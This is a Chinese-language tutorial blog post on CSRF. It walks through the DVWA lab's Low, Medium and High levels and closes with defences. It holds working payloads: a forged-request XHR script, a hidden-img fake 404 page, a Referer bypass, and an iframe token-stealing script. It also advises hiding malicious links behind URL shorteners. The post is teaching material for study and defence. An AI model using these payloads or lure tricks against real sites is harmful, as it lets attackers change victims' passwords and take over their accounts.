CSRF漏洞原理浅谈

By : Mirror王宇阳

E-mail : mirrorwangyuyang@gmail.com

笔者并未深挖过CSRF，内容居多是参考《Web安全深度剖析》、《白帽子讲web安全》等诸多网络技术文章

CSRF跨站请求攻击，和XSS有相似之处；攻击者利用CSRF可以盗用用户的身份进行攻击

CSRF攻击原理

部分摘自《Web安全深度剖析》第十章

当我们打开或登录某个网站后，浏览器与网站所存放的服务器将会产生一个会话，在会话结束前，用户就可以利用具有的网站权限对网站进行操作（如：发表文章、发送邮件、删除文章等）。会话借宿后，在进行权限操作，网站就会告知会话超期或重新登录。

当登录网站后，浏览器就会和可信的站点建立一个经过认证的会话。所有通过这个经过认证的会话发送请求，都被认定为可信的行为，例如转账、汇款等操作。当这个会话认证的时间过长或者自主结束断开；必须重新建立经过认证的可信安全的会话。

CSRF攻击是建立在会话之上。比如：登录了网上银行，正在进行转账业务，这是攻击者给你发来一个URL，这个URL是攻击者精心构造的Payload，攻击者精心构造的转账业务代码，而且与你登录的是同一家银行，当你认为这是安全的链接后点击进去，你的钱就没了！

比如想给用户xxser转账1000元，正常的URL是：

secbug.org/pay.jsp?user=xxser&money=1000

而攻击者构造的URL则是：

secbug.org/pay.jsp?user=hack&money=10000

CSRF漏洞利用

CSRF漏洞常常被用来制作蠕虫攻击、SEO流量等

分析漏洞代码

获取GET参数username和password，然后通过select语句查询是否存在对应的用户，如果存在通过$_SESSION设置一个session:isadmin=admin ，否则设置session：isadmin=guest
判断session中的isadmin是否为admin，如果isadmin!=admin说明用户没有登录，那么跳转到登录页面。所以只有在管理员登录后才可以执行用户的操作
获取POST参数username和password然后插入users表中，完成添加用户的操作

<?phpsession_start();
if (isset($_GET['login'])) {
$con=mysqli_connect("127.0.0.1","root","123456","test");
if (mysql_connect_errno()) {
echo "连接失败".mysql_connect_errno();
}
$username = addslashes($_GET['username']);
$password = $_GET['password'];
$result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");
$row = mysqli_fetch_array($result);
if($row){
$_SESSION['isadmin'] = 'admin';
exit("登录成功");
} else{
$_SESSION['isadmin'] = 'guest';
exit("登录失败");
}
} else{
$_SESSION['isadmin'] = 'guest';
}
if($_SESSION['isadmin'] != 'admin'){
exit("请登录……");
}
if(isset($_POST['submit'])){
if (isset($_POST['username'])) {
$result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");
exit($_POST['username']."添加成功");
}
}
?>

这是后台php源码

攻击者需要做的就是构造一个请求，请求的URL就是php文件的URL，参数是submit=1&username=1&password=1,请求payload会自动的利用源码的特性添加一个用户

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CSRF漏洞实践</title>
</head>
<body>
<script type="text/javascript">
var pauses = new Array("16");
var methods = new Array("POST");
var urls = new Array("isadmin.php");
var params = new Array("submit=1&username=1&password=1");
function pausecomp(millis){
var date = new Date();
var curDate = null ;
do{
curDate = new Date();
}while(curDate-date<millis);
}
function run(){
var count = 1 ;
var i = 0 ;
for( i=0 ; i < count ; i ++){
makeXHR(methods[i],urls[i],params[i])；
pausecomp(pausecomp[i]);}
}
var http_request = false ;
function makeXHR(method , url , paramters){
http_request = false ;
if(window.XMLHttpRequest){
http_request = new XMLHttpRequest() ;
if(http_request.overrideMinmeType){
http_request.overrideMinmeType('text/html');
}
} else if(window.ActiveXObject){
try{
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch(e){
try{
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e){ }
}
}
if(!http_request){
alert('Cannot create XMLHTTP instance');
return false;
}
if(method == 'GET'){
if(url.indexOf('?') == -1){
url = url + '?' + paramters;
} else{
url = url + '&' + paramters;}
http_request.open(method,url,true);
http_request.send("");} else if(method == 'POST'){
http_request.open(method,url,true);
http_request.setRequestHeader("Content-type","application/x-www.form-urlencoded");
http_request.setRequestHeader("Content-length",paramters.length);
http_request.setRequestHeader("Connection","close");
http_request.send(paramters);
}
}
</script>
</body>
</html>

DVWA平台CSRF

笔者找不到比较好的源码，于是找到了DVWA~~

Low

前端源码

<h3>Change your admin password:</h3>
<br>
<form action="#" method="GET">
New password:<br>
<input autocomplete="off" name="password_new" type="password"><br>
Confirm new password:<br>
<input autocomplete="off" name="password_conf" type="password"><br>
<br>
<input value="Change" name="Change" type="submit">
</form>

前端的源码非常的简单，是一个修改密码的CSRF，表单采用GET方式Change提交

后端源码

<?phpif( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

可以看见后端接收数据后会验证两次密码是否重复，然后修改密码~~~

构造Payload
```
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
```
我们将Payload发送给受害者，受害者处于会话保持（登录状态）中，受害者一旦点击这个URL链接，就意味着受害者执行了同样的操作；这个过程就是CSRF

笔者处于的DVWA使用的登录密码，而我的密码就被改为“123456”
重点

这里的攻击成立是利用受害者的Cookie向服务器发送伪造请求（Payload），如果用户使用的是一个与xxser.com保持会话登录的浏览器点击Payload-URL，受害者的密码就会发生更改。

哦！对了！这么裸露的攻击Payload在2019年安全意识高端的现代，是不会有人点击的！这个时候我们就有好玩的一个工具叫：“短链接”，百度、新浪的短网址服务都可以！

为了减少图片内容，我们当密码修改后的页面会提示“Password Changed.”
高明的做法（从一位前辈copy过来的，忘记链接了！）

都知道会出现提示，要想悄悄的修改！可以建立一个攻击网页，诱骗受害者访问
```
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Payload</title>
</head>
<body>
<img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none">
<h1>404</h1>
<h2>file not found.</h2>
</body>
</html>
```
页面的作用是加载一个伪404的页面；实际上一旦访问这个页面，就会加载图片，所谓加载图片就是加载src属性，而src属性则为Payload-URL，实际的行为就是加载该html页面的同时图片会加载，也就执行了Payload 你说好不好玩！加载一个404伪页面，就把自己的密码给该了，而且自己还不知道！

Medium

后端源码（添加了http_referer头的校验）

<?phpif( isset( $_GET[ 'Change' ] ) ) {
    // HTTP_REFERER :查询当前页的前一页的地址信息
    // SERVER_NAME  :获取域名
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // stripos() :查字符第一次出现的位置，
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

检查HTTP_REFERER（http数据包的referer参数值）即上一级URL地址信息是否包含当前HTTP数据包中的Host参数值；包含则表示当前页面是从DVWA即上一级URL合法的行为。

合法的http数据包：

GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/
Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1

留意第2行、第8行

分析绕过

但是stripos()函数写的头验证是可以绕过的~ stripos()函数是多次匹配；只要包含了目标主机地址就可以绕过stripos()函数写的验证语句

如果我们依旧按照建立一个伪造的攻击页面，stripos()头验证就会验证，然而页面并不是来自DVWA；于是深挖stripos()函数的漏洞，发现函数会多次匹配，于是思路就是_{建立一个假的文件名，通过一个伪造的文件名，绕过stripos()的验证}

Payload

GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/127.0.0.1.html
Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
X-Forwarded-For: 8.8.8.8
Connection: keep-alive

这里注意！我们将Payload命名为“127.0.0.1.html”，

High

后端源码

<?phpif( isset( $_GET[ 'Change' ] ) ) {
    // 加入 Anti-CSRF token机制
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token
generateSessionToken();?>

加入 Anti-CSRF Token机制，用户访问改密页面时，服务器返回token，只有用户提交token参数才可以进行改密行为！

分析绕过

我们构造Payload页面的时候，就需要考虑到执行改密行为必须向服务器发送token，而token只有在改密页面才可以获得；

根据前辈的思路：利用受害者的cookie去改密页面获取token
```
<script type="text/javascript">    function attack()  {   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;  document.getElementById("transfer").submit();   }</script><iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"></iframe><body οnlοad="attack()">  <form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/">   <input type="hidden" name="password_new" value="password">    <input type="hidden" name="password_conf" value="password">   <input type="hidden" name="user_token" value="">  <input type="hidden" name="Change" value="Change">   </form></body>
```
攻击思路是当受害者点击进入这个页面，脚本会通过一个看不见框架偷偷访问修改密码的页面，获取页面中的token，并向服务器发送改密请求，以完成CSRF攻击。

然而理想与现实的差距是巨大的，这里牵扯到了跨域问题，而现在的浏览器是不允许跨域请求的。这里简单解释下跨域，我们的框架iframe访问的地址是http://169.254.36.73/DVWA-master/vulnerabilities/csrf/，位于服务器169.254.36.73上，而我们的攻击页面位于黑客服务器上，两者的域名不同，域名B下的所有页面都不允许主动获取域名A下的页面内容，除非域名A下的页面主动发送信息给域名B的页面，所以我们的攻击脚本是不可能取到改密界面中的user_token。

由于跨域是不能实现的，所以我们要将攻击代码注入到目标服务器169.254.36.73中，才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token（因为这里的XSS注入有长度限制，不能够注入完整的攻击脚本，所以只获取Anti-CSRF token）

这里的Name存在XSS漏洞，于是抓包，改参数，成功弹出token

原文链接：https://blog.csdn.net/liweibin812/article/details/86468880

笔者通过DVWA平台的CSRF实例，简单的总结了CSRF的特性和应对措施，也由于笔者没有就这方面进行研究，没有办法进一步深度的解剖原理

CSRF应对措施

从DVWA的测试中总结：

在Impossible级别的源码中，利用了PDO技术防御SQL注入，防护CSRF方面则要求用户原始密码；攻击者在不知道原始密码的情况下是无法进行CSRF的哦！笔者从网络中搜集了几篇文章，笔者对这些文章就不做剖解了直接copy地址

PDO防SQL注入原理分析：https://www.cnblogs.com/leezhxing/p/5282437.html

CSRF防御手段

使用POST，限制GET

GET方式最容易受到CSRF攻击，只要简单的构造payload就可能导致CSRF；使用POST可以大程度的减低CSRF曝光率
浏览器Cookie策略

老浏览器会拦截第三方本地Cookie的发送，而新浏览器则不会拦截发送；
添加验证码

简单粗暴还有效；可以大程度的增加人机交互的过程，避免用户被悄悄的偷袭
Referer Check

检查请求是否来自于合法的源
Anti CSRF Token

Token的值必须是随机的，不可预测的。由于Token的存在，攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性，尽量把敏感操作由GET改为POST，以form或AJAX形式提交，避免Token泄露。
总结：

CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式，通常使用Anti CSRF Token来防御CSRF攻击，同时要注意Token的保密性和随机性。